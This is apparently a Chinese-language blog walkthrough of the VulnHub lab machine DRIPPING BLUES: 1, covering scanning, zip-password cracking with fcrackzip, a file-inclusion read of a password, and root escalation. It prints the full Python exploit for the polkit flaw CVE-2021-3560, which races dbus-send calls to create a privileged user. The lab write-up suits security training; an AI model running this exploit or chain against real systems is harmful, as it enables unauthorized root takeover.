准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/drippingblues/drippingblues.ova,下载后直接vm打开即可。

知识点:CVE-2021-3560漏洞利用(polkit漏洞)、fcrackzip爆破zip文件密码、文件包含。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.4.0/24,获得靶机地址:192.168.4.146

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.4.146,显示开放了21、22、80端口,开放了ftp服务、ssh服务、web服务。

尝试访问下ftp服务,发现不需要账户名和密码,可以直接登录,在ftp服务中发下一个respectmydrip.zip文件,下载下来进行解压,发现需要密码。

使用fcrackzip进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip,获得密码:072528035。

解压之后获得respectmydrip.txt文件和secret.zip文件,respectmydrip.txt文件是一条信息:just focus on "drip"。secret.zip文件同样需要密码,但是这个未破解出来。

查看80端口,显示是一串字符串和两个账户名:travisscott & thugger,访问下robots.txt(nmap扫描时已获得),发下两个文件:dripisreal.txt和/etc/dripispowerful.html。

访问下dripisreal.txt和/etc/dripispowerful.html,在dripisreal.txt文件获得提示信息,但是/etc/dripispowerful.html文件无法访问,猜测存在文件包含漏洞。

使用dirmap进行目录扫描,获得index.php和robots.txt(这个上面已知)

访问index.php页面,想到提示:just focus on "drip",猜测存在参数drip,访问下/etc/dripispowerful.html,成功获得密码:imdrippinbiatch。

获取shell:

使用账户名和密码:thugger/imdrippinbiatch进行ssh连接,成功获取shell权限。

在当前账户下发现存在user.txt文件,读取该文件获取第一个flag。

提权:

输入命令:sudo -l查看下当前可以使用的特权命令有哪些,显示不存在。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1(emmm,真巧,在上一篇vulnhub靶场之CORROSION: 2刚好也遇到了这个漏洞:CVE-2021-4034)

这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc在kali上进行进行gcc编译,然后上传到靶机进行执行,但是发现靶机缺少gcc无法执行,那只能找下polkit其余漏洞了。

在github上查找下polkit的可利用的exp,发现主要是两个,一个是CVE-2021-3560,一个是CVE-2021-4034(这个上面已经测试过,因缺少gcc无法执行,所以那就测试下CVE-2021-3560)

在这个网站:https://github.com/Almorabea/Polkit-exploit下载下来可利用的exp(下载很缓慢,将代码复制下来也可以使用),并上传到靶机赋予执行权限,然后执行获得root权限。

CVE-2021-3560_exp_py源码
import os
import sys
import time
import subprocess
import random
import pwd print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3) check = True
counter = 0
while check:
counter = counter +1
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill() user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
if user.find("uid") != -1:
print("[+] User Created with the name of ahmed")
print("[+] Timed out at: "+str(Random))
check =False
break
if counter > 2000:
print("[-] Couldn't add the user, try again it may work")
sys.exit(0) for i in range(200):
#print(i)
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid) #In case you need to put a password un-comment the code below and put your password after string:yourpassword'
password = "string:"
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
#password = f"string:{res.rstrip()}" process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill() print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ") p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)

使用root账户在/root下成功读取flag信息。

闲着无聊,使用root账户安装了gcc,然后切换回了thugger账户,执行CVE-2021-4034的exp,此时也可以正常获取到root权限。

vulnhub靶场之DRIPPING BLUES: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

随机推荐

  1. POJ3761 Bubble Sort (组合数学,构造)

    题面 Bubble sort is a simple sorting algorithm. It works by repeatedly stepping through the list to be ...

  2. 第九十五篇:vue-router的导航守卫

    好家伙,考完期末考了. 恢复博客更新 1.什么是导航守卫? "导航"表示路由正在发生变化 设置导航,就在切换过程中进行限制   "守卫"就好理解了 盯着你,不然 ...

  3. 项目管理构建工具——Maven(基础篇)

    项目管理构建工具--Maven(基础篇) 在前面的内容中我们学习了JDBC并且接触到了jar包概念 在后面我们的实际开发中会接触到很多jar包,jar包的导入需要到互联网上进行就会导致操作繁琐 Mav ...

  4. 大家都能看得懂的源码之 ahooks useVirtualList 封装虚拟滚动列表

    本文是深入浅出 ahooks 源码系列文章的第十八篇,该系列已整理成文档-地址.觉得还不错,给个 star 支持一下哈,Thanks. 简介 提供虚拟化列表能力的 Hook,用于解决展示海量数据渲染时 ...

  5. centos7设置时间和上海时区并进行同步

    1.设置时区(同步时间前先设置) timedatectl set-timezone Asia/Shanghai 2.安装组件 yum -y install ntp systemctl enable n ...

  6. k8s中几个基本概念的理解,pod,service,deployment,ingress的使用场景

    k8s 总体概览 前言 Pod 副本控制器(Replication Controller,RC) 副本集(Replica Set,RS) 部署(Deployment) 服务(Service) ingr ...

  7. getch()之隐藏输入密码

    getch() :读取字符且不会回显(不会显示):不从输入缓冲区读取:在getch中,把回车按键输入, 识别为回车符'\r':在getchar中,把回车按键输入,识别为回车符'\n'. getch() ...

  8. vscode常用快捷键及插件

    macOS 全局 Command + Shift + P / F1 显示命令面板 Command + P 快速打开 Command + Shift + N 打开新窗口 Command + W 关闭窗口 ...

  9. C#-9 委托

    一 什么是委托 可以认为委托是持有一个或多个方法的对象.可以执行委托,执行时委托会执行它所持有的方法. 从C++的角度理解,委托可以看成一个类型安全.面向对象的C++函数指针. delegate vo ...

  10. 洛谷P2216 HAOI2007 理想的正方形 (单调队列)

    题目就是要求在n*m的矩形中找出一个k*k的正方形(理想正方形),使得这个正方形内最值之差最小(就是要维护最大值和最小值),显然我们可以用单调队列维护. 但是二维平面上单调队列怎么用? 我们先对行处理 ...